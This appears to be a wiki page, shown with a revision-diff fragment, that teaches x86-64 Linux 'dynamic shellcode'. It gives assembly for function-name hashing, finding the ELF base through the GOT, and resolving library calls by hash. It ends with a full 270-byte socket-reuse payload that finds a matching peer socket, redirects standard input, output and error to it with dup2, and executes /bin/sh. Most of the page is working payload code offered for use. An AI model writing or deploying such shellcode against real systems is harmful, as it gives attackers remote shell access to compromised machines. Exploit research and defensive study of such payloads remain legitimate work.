|
|
Line 1: |
Line 1: |
| == Dynamic shellcode == | | == Dynamic shellcode == |
| + | Dynamic, or self-linking code serves multiples purposes. The [[Linux]] kernel's interrupt and syscall interfaces are relatively generic, so what is the point in doing this for linux? |
| | | |
| === The C Calling convention's impact === | | === The C Calling convention's impact === |
Revision as of 18:34, 22 November 2012
Dynamic shellcode
Dynamic, or self-linking code serves multiples purposes. The Linux kernel's interrupt and syscall interfaces are relatively generic, so what is the point in doing this for linux?
The C Calling convention's impact
- The usual format for a system call or libc function invokation:
function_call(%rax) = function(%rdi, %rsi, %rdx, %r10, %r8, %r9)
|
- The return value is usually returned into the %rax register.
Because of the above statement, we can see easily when writing a linker that the following registers need not be reserved for function calls before calling them without syscalls:
%rax, %rbx, %rcx, %rbp, %r11, %r12, %r13, %r14, %r15
|
Most of these registers can get blown away by different libc functions, however %rbx is reserved for "developer use" by libc. When writing a dynamic linker, function arguments must be preserved so that a developer can easily write dynamically integrated code. To that end, this linker takes %rbx as the base pointer to a library and %rbp for a function hash. This ensures that the developer maintains control over %rax, %rdi, %rsi, %rdx, %r10, %r8, and %r9. The %rcx register is used as the pointer to the invoke_function label. Developers should be aware to preserve this when invoking functions which may destroy the register, or change this by changing the register popped in the __initialize_world label.
Function hashing
- Additional labels have been added to make this more readable.
calc_hash:
preserve_regs:
push %rax
push %rdx
initialize_regs:
push %rdx
pop %rax
cld
calc_hash_loop:
lodsb
rol $0xc, %edx
add %eax, %edx
test %al, %al
jnz calc_hash_loop
calc_done:
push %rdx
pop %rsi
restore_regs:
pop %rdx
pop %rax
|
Dynamic section traversal to the GOT
_start:
push $0x400130ff
pop %rbx
shr $0x8, %ebx
|
fast_got:
mov (%rbx), %rcx
add 0x10(%rbx), %rcx
|
extract_pointer:
mov 0x20(%rcx), %rbx
|
find_base:
dec %rbx
cmpl $0x464c457f, (%rbx)
jne find_base
|
Staging the user defined code
- Now that a base pointer has been calculated, it is time to stage the developer or user-defined code. To make invoke_function re-usable from a register, a getPc via %rcx is invoked that jumps to the _world label and never returns. The address of invoke_function has then been stored in the %rcx register, allowing developers to access it efficiently.
jmp startup
__initialize_world:
pop %rcx
jmp _world
startup:
call __initialize_world
invoke_function:
...
_world:
; user-defined code goes here
|
The interface
The runtime linker developed here allows user-defined code to start at the _world label. This example is a small dynamic snippet that when combined with the linker's API equivocates to `exit()':
_world:
push $0x696c4780
pop %rbp
xor %rdi, %rdi
call *%rcx
|
The invoking of functions
;
; Takes a function hash in %rbp and base pointer in %rbx
; >Parses the dynamic section headers of the ELF64 image
; >Uses ROP to invoke the function on the way back to the
; -normal return location
;
; Returns results of function to invoke.
;
|
invoke_function:
push %rbp
push %rbp
push %rdx
push %rdi
push %rax
push %rbx
push %rsi
|
set_regs:
xor %rdx, %rdx
push %rbp
pop %rdi
|
copy_base:
push %rbx
pop %rbp
|
read_dynamic_section:
push $0x4c
pop %rax
add (%rbx, %rax, 4), %rbx
|
check_dynamic_type:
add $0x10, %rbx
cmpb $0x5, (%rbx)
jne check_dynamic_type
|
string_table_found:
mov 0x8(%rbx), %rax # %rax is now location of dynamic string table
mov 0x18(%rbx), %rbx # %rbx is now a pointer to the symbol table.
|
check_next_hash:
add $0x18, %rbx
push %rdx
pop %rsi
xorw (%rbx), %si
add %rax, %rsi
|
check_current_hash:
cmp %esi, %edi
jne check_next_hash
|
found_hash:
add 0x8(%rbx,%rdx,4), %rbp
mov %rbp, 0x30(%rsp)
pop %rsi
pop %rbx
pop %rax
pop %rdi
pop %rdx
pop %rbp
ret
|
The dynamic shell
- Once added to the linker, this becomes a total of a 270 byte dynamic port of the 115 byte socket-reuse payload. There are a few ways to optimize it that will be left for the reader to discover.
_world:
movl $0xf8cc01f7, %ebp # hash of getpeername() is in %rbp
push $0x02
pop %rdi
make_fd_struct:
lea -0x14(%rsp), %rdx
movb $0x10, (%rdx)
lea 0x4(%rdx), %rsi # move struct into rsi
loop:
inc %di
jz exit
stack_fix:
lea 0x14(%rdx), %rsp
get_peer_name:
sub $0x20, %rsp
push %rcx
call *%rcx # getpeername(counterfd,sockaddr_in)
pop %rcx
check_pn_success:
test %al, %al
jne loop
# If we make it here, rbx and rax are 0
check_ip:
push $0x1b
pop %r8
mov $0xfeffff80, %eax
not %eax
cmpl %eax, (%rsp,%r8,4)
jne loop
check_port:
movb $0x35, %r8b
mov $0x2dfb, %ax
not %eax
cmpw %ax,(%rsp, %r8 ,2) #
jne loop
push $0x70672750
pop %rbp # Function hash of dup2() is in rbp
reuse:
xor %rdx, %rdx
push %rdx
push %rdx
pop %rsi
dup_loop: # redirect stdin, stdout, stderr to socket
push %rcx
call *%rcx # dup2(sockfd,std[err|in|out]);
pop %rcx
inc %esi
cmp $0x4, %esi
jne dup_loop
movl $0xf66bbb37, %ebp # Place the function hash for execve() into %rbp
xor %rdi, %rdi
push %rdi
push %rdi
pop %rsi
pop %rdx # Null out %rdx and %rdx (second and third argument)
mov $0x68732f6e69622f6a,%rdi # move 'hs/nib/j' into %rdi
shr $0x8,%rdi # null truncate the backwards value to '\0hs/nib/'
push %rdi
push %rsp
pop %rdi # %rdi is now a pointer to '/bin/sh\0'
call *%rcx # execve('/bin/sh',0,0);
|